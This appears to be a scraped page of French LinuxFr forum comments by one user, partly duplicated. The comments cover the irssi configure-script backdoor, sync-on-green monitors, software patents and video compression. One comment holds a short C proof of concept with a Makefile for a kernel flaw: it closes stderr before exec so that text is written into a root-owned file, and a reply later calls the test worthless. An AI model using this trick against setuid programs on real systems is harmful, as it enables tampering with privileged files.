En fait la publication des sources ne protège des trous de securité que
si ceux qui publient les sources vérifient bien tous les ajouts (et encore
certains trous ne sont simplement que des bugs qui ne sont pas toujours
évidents).
En plus la personne qui fait ce genre de modification doit être connue.
Je ne connais personne qui relise tout le code pour voir s'il y a
quelquechose de louche dedans avant la compilation.
Par contre avec l'accès aux sources une faillle detecté il est aisé de
trouver où comment et parfois par qui elle a été introduite.
Et on peut aussi voir si elle a été introduite par erreur ou volontairement.
Dans le cas d'irssi la personne qui a modifié les sources n 'est
évidemment pas passée par le mécanisme classique de soumission de patche
ou par CVS.
En plus le trou est réalisé en quelques lignes de code C, perdu dans les
lignes de C introduites dans le configure pour la detection du support de
fonctionnalités par le compilo...
Le plus fort c'est que ce trou effectue une connection directe à une adresse
IP codée en dur dans le fichier !
C'est assez gros, ce serait intéressant de savoir à qui appartient cette
adresse. Ce n'est évidemment pas forcément celui qui a introduit le code.
C'est peut-être juste une opération de discrédit.
Et c'est pourquoi la signature des fichiers est très importante, toute
alteration du contenu pourra etre detecté par l'utilisateur.
Encore faut-il que celui-ci prenne la peine de faire la vérification !
Imaginons maintenant que quelqu'un fasse ce genre de malversation
directement au niveau d'autoconf de la machine de compilation ou pire
encore des sources d'autoconf !
Et donc c'est l'utilisateur d'autoconf qui virus son propre config
(génèré a partir de config.in).
Le virus est introduit alors directement par la personne qui prépare
le package et il sera checksumé, signé et tout et tout !
Tout système de sécurite aussi perfectionné qu'il soit repose un moment
ou l'autre sur de l'humain.
le sync on green est la façon classique de coder la synchro pour le RGB video.
Les vieux moniteurs de stations de travail ( sun Appolo, HP 1100 ... )
disposaient tous d'entrée RGB sync on green.
Donc on trouve facilement des adaptateurs VGA->syn on green pour ces vieux écrans
mais plus difficilement l'inverse.
A ce que j'ai pu voir il faut compter une centaine d'euro pour un adaptateur
d'un signal sync on green vers un signal vga avec la synchro externe.
A ce prix la autant racheter un moniteur !
[remarque: je ne suis pas un pro de la video j'ai juste google un moment,
ceci est la traduction de mes trouvailles ]
sur ma version de linux il y a bien le probleme.
copiez le trois fichiers compromised.c exploit.c et Makefile dans un repertoire...
#compromised.c
#include <stdio.h>
int main( int argc, char* argv[]) {
FILE * f = fopen("root_owned_file", "r+");
if(f) {
fprintf(stderr, "%s: fopen() succeeded\n", argv[0]);
fclose(f);
}
}
#exploit.c
#include <unistd.h>
#include <stdio.h>
/*
argv[1] should contain global path to compromised program.
*/
int main(int argc, char* argv[]) {
/*
uhm this defeat execl...
while(dup(1) != -1);
*/
close(2);
execl(argv[1],
"this text will endup in the root_owned_file", 0);
Sur une video donnée cela est très possible, il suffit que le décodeur connaisse déja le film !
Sinon la théorie du signal et les théories relatives au codages s'opposent très certainement à cette avancée technologique.
Le son mange deja de la bande passante.... Mais peut être qu'avec un peu d'astuce on peut créer de toute pièces une video qui se compresse idéalement.
Un convertisseur vidéo -> animation vectorielle pourrait peut être permettre de faire ce genre de chose mais alors bye bye la "haute qualité" et bonjour les temps de codage !
Un jour les machines seront assez puissante pour recevoir des informations du style "les acteurs s'embrassent" mais on en est encore loin !
Je n'y croirai que le jour ou je pourrai tester.
# combattre le mal par le mal...
Posté par philippe lhardy (site web personnel, Mastodon) . En réponse à la dépêche Du coté obscur Red Hat a basculé !. Évalué à 0.
c'est aussi reconnaître le bienfondé des brevets
logiciels.
C'est une arme à double tranchant.
Mais la logique de marché...
Quand à utiliser des brevets estampillés GPL pour
faire des échanges de brevets inter-entreprises...
Je n'y crois guère.
# On pourrait imaginer pire.
Posté par philippe lhardy (site web personnel, Mastodon) . En réponse à la dépêche Backdoor dans irssi. Évalué à 10.
si ceux qui publient les sources vérifient bien tous les ajouts (et encore
certains trous ne sont simplement que des bugs qui ne sont pas toujours
évidents).
En plus la personne qui fait ce genre de modification doit être connue.
Je ne connais personne qui relise tout le code pour voir s'il y a
quelquechose de louche dedans avant la compilation.
Par contre avec l'accès aux sources une faillle detecté il est aisé de
trouver où comment et parfois par qui elle a été introduite.
Et on peut aussi voir si elle a été introduite par erreur ou volontairement.
Dans le cas d'irssi la personne qui a modifié les sources n 'est
évidemment pas passée par le mécanisme classique de soumission de patche
ou par CVS.
En plus le trou est réalisé en quelques lignes de code C, perdu dans les
lignes de C introduites dans le configure pour la detection du support de
fonctionnalités par le compilo...
Le plus fort c'est que ce trou effectue une connection directe à une adresse
IP codée en dur dans le fichier !
C'est assez gros, ce serait intéressant de savoir à qui appartient cette
adresse. Ce n'est évidemment pas forcément celui qui a introduit le code.
C'est peut-être juste une opération de discrédit.
Et c'est pourquoi la signature des fichiers est très importante, toute
alteration du contenu pourra etre detecté par l'utilisateur.
Encore faut-il que celui-ci prenne la peine de faire la vérification !
Imaginons maintenant que quelqu'un fasse ce genre de malversation
directement au niveau d'autoconf de la machine de compilation ou pire
encore des sources d'autoconf !
Et donc c'est l'utilisateur d'autoconf qui virus son propre config
(génèré a partir de config.in).
Le virus est introduit alors directement par la personne qui prépare
le package et il sera checksumé, signé et tout et tout !
Tout système de sécurite aussi perfectionné qu'il soit repose un moment
ou l'autre sur de l'humain.
[^] # Re: Sync On Green
Posté par philippe lhardy (site web personnel, Mastodon) . En réponse à la dépêche Le Kit Linux PS2 est disponible. Évalué à 2.
http://playstation2-linux.com/docman/display_doc.php?docid=5&gr(...)
le sync on green est la façon classique de coder la synchro pour le RGB video.
Les vieux moniteurs de stations de travail ( sun Appolo, HP 1100 ... )
disposaient tous d'entrée RGB sync on green.
Donc on trouve facilement des adaptateurs VGA->syn on green pour ces vieux écrans
mais plus difficilement l'inverse.
A ce que j'ai pu voir il faut compter une centaine d'euro pour un adaptateur
d'un signal sync on green vers un signal vga avec la synchro externe.
A ce prix la autant racheter un moniteur !
[remarque: je ne suis pas un pro de la video j'ai juste google un moment,
ceci est la traduction de mes trouvailles ]
[^] # Re: la plus rapide? Pour combien de temps?
Posté par philippe lhardy (site web personnel, Mastodon) . En réponse à la dépêche Entrevue avec Daniel Robbins de Gentoo. Évalué à 3.
à condition d'être dans les courbes d'univers près des 45 ° dans l'espace de minkowski...
( je sais c'est hors mais cela fait suite à ce qui précéde [corollaire du troll mou]).
[^] # Re: Pas grand monde...
Posté par philippe lhardy (site web personnel, Mastodon) . En réponse à la dépêche Sortie de Circle 0.26. Évalué à 5.
[^] # Re: j'ai teste pour vous sous linux
Posté par philippe lhardy (site web personnel, Mastodon) . En réponse à la dépêche Faille dans certains noyaux : détournement de stdio/stderr. Évalué à 9.
Ce test ne vaut effectivement rien.
# j'ai teste pour vous sous linux
Posté par philippe lhardy (site web personnel, Mastodon) . En réponse à la dépêche Faille dans certains noyaux : détournement de stdio/stderr. Évalué à -5.
copiez le trois fichiers compromised.c exploit.c et Makefile dans un repertoire...
#compromised.c
#include <stdio.h>
int main( int argc, char* argv[]) {
FILE * f = fopen("root_owned_file", "r+");
if(f) {
fprintf(stderr, "%s: fopen() succeeded\n", argv[0]);
fclose(f);
}
}
#exploit.c
#include <unistd.h>
#include <stdio.h>
/*
argv[1] should contain global path to compromised program.
*/
int main(int argc, char* argv[]) {
/*
uhm this defeat execl...
while(dup(1) != -1);
*/
close(2);
execl(argv[1],
"this text will endup in the root_owned_file", 0);
}
#Makefile
doit:
gcc compromised.c -o compromised
gcc exploit.c -o exploit
rm -f root_owned_file
touch root_owned_file
./exploit compromised
#test it
make doit
verifiez le contenu de root_owned file !
# Ils feraient bien de se relire aussi.
Posté par philippe lhardy (site web personnel, Mastodon) . En réponse à la dépêche L'éducation Nationale intègre le libre. Évalué à 0.
"Le schéma directeur des infrastrucres"
C'est ce qu'il y a à l'intérieur des trucs ?
Tsts, ça fait pas sérieux des coquilles dans un communiqué de l'éducation nationale :-)
# le soir au fond de mon lit...
Posté par philippe lhardy (site web personnel, Mastodon) . En réponse à la dépêche Toutes les commandes Linux. Évalué à 2.
# Si ca marche c'est certainement de la bidouille.
Posté par philippe lhardy (site web personnel, Mastodon) . En réponse à la dépêche Le retour de la video haute qualité plein écran en 28.8kbps. Évalué à 3.
Sinon la théorie du signal et les théories relatives au codages s'opposent très certainement à cette avancée technologique.
Le son mange deja de la bande passante.... Mais peut être qu'avec un peu d'astuce on peut créer de toute pièces une video qui se compresse idéalement.
Un convertisseur vidéo -> animation vectorielle pourrait peut être permettre de faire ce genre de chose mais alors bye bye la "haute qualité" et bonjour les temps de codage !
Un jour les machines seront assez puissante pour recevoir des informations du style "les acteurs s'embrassent" mais on en est encore loin !
Je n'y croirai que le jour ou je pourrai tester.